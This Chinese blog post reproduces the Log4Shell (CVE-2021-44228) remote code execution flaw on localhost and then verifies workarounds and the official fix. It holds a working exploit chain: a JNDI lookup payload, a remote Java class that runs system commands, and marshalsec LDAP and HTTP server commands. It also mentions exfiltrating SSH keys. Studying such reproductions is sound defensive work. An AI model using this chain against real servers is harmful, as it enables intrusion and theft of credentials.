前情提要
上周,Apache Log4j2
爆出高危漏洞(CVE-2021-44228
): Log4j2组件存在JNDI注入漏洞,漏洞利用门槛低,即可利用该漏洞在目标服务器上执行任意代码
。Log4j2组件是一款开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中,用来记录日志信息。因此该漏洞影响范围广,公司要求彻查代码并修复漏洞。
远程执行代码漏洞复现
-
实验环境
- MacOS操作系统
- Python环境
- 本DEMO在JAVA8环境下执行,其他版本自行验证
- log4j2日志库,包括受影响的版本范围
log4j-core
versions >=2.0-beta9 and <=2.14.1`
-
复现漏洞
新建普通的maven项目,pom.xml中引入log4j-core与log4j-api的jar包,指定版本为
2.13.3
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>cve-2021-44228-log4j-exploits</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> </dependencies> </project>
然后在java目录下创建Hack.java,内容如下:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * @author cat */ public class Hack { private static final Logger logger = LogManager.getLogger(Hack.class); public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}"); } }
这个文件模拟的就是使用了log4j2的web服务程序。因为大多数使用Java开发的后端服务都是网络服务,用户可以通过网页表单提交输入内容,出于调试的需求,比如:restful接口发生运行时异常,通过logger.error方式打印发生异常时候用户提交的参数,那么就会直接中招。
接下来构建LDAP服务器+http服务器(用于远程执行攻击代码,这两个服务器都在攻击者电脑上)
选择一个其他目录http-server(与Hack.java不同目录),代码目录结构如下:
创建Log4jRCE.java文件。这个文件就是我们想在远程服务器执行的攻击代码,我们可以通过这个文件尝试调用系统命令,这里以输出Mac电脑的SSH公钥为例。
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Log4jRCE { public Log4jRCE() { } static { System.out.println("I am Log4jRCE from remote!!!"); String[] var1 = new String[]{"cat", "/Users/jingbo/.ssh/id_rsa.pub"}; try { Process var0 = Runtime.getRuntime().exec(var1); InputStream var2 = var0.getInputStream(); InputStreamReader var3 = new InputStreamReader(var2); BufferedReader var4 = new BufferedReader(var3); String var5 = null; while((var5 = var4.readLine()) != null) { System.out.println(var5); } } catch (IOException var6) { var6.printStackTrace(); } } }
然后编译一下这个类得到字节码文件Log4jRCE.class,命令如下:
javac Log4jRCE.java
然后在这个文件所在目录http-server下打开terminal控制台,启动Python自带的http服务器
接着通过git下载Apache-Log4j-Learning并执行tools工具启动一个LDAP服务器
git clone https://github.com/bkfish/Apache-Log4j-Learning.git cd Apache-Log4j-Learning/tools java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"
然后运行Hack.java模拟注入攻击,服务端使用log4j2输出日志。结果为:
可以看到,机器的公钥已经在服务器上被输出了。当然这并没有什么意义,但如果我们的Log4jRCE的逻辑是通过网络通信将私钥发送给指定服务器(攻击者的电脑),或者是将攻击者的SSH公钥写入Authorized_keys文件中,那么就会出现极其严重的安全问题。
总结一下攻击过程,攻击者在网页表单的输入框里输入注入攻击语句,在提交表单时,被服务器端的Log4j框架作为日志输出,但由于该库的某些解析构造漏洞,会把
${}
括号中的语句作为命令执行。攻击者的注入攻击语句经过解析会先访问ldap服务器,然后由ldap解析出我们要的文件名为Log4jRCE,ldap向HTTP服务器请求获取这个文件,最后网站服务器在本地实例化并执行这个java类,即攻击者的攻击脚本得到执行。
验证互联网上的临时解决方案
- 使用 jvm 参数启动 -Dlog4j2.formatMsgNoLookups=true
- 设置 log4j2.formatMsgNoLookups=True
- 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
经过自己的验证和测试之后,发现各大厂商给出的方案有错误
,包括到目前为止网络上还是存在大量的错误
。
- 首先区分版本,2.10以下版本中环境变量方法是无效的(
以上三种方式都失效
)。 - 2.10以上版本,系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true,这个是无效的
(不信的朋友自行验证)。LOG4J_FORMAT_MSG_NO_LOOKUPS
这个环境变量才是有效的。
官方推荐修复方案
https://logging.apache.org/log4j/2.x/security.html
通过官方文档中的说明,暂时可以不修改log4j2版本的临时解决方案:
-
2.10以下版本中需要从
classpath
中移出JndiLookup
classzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
-
2.10以上版本中设置系统参数
log4j2.formatMsgNoLookups=true
与环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
但是官方还是强烈建议大家升级log4j2的版本为2.15.0的最新版本
总结
-
文中漏洞Demo复现代码我上传到github,大家可以自行下载进行实验(本Demo只是为了复现问题,请不要用于其他非法用途)
https://github.com/lov3r/cve-2021-44228-log4j-exploits.git
-
还有一点给大家的建议:
在工作和学习的过程中不要认为网络上看到的东西就是正确的,对任何事物和问题我们要保持一颗怀疑的心,自己多动手验证
本文由博客一文多发平台 OpenWrite 发布!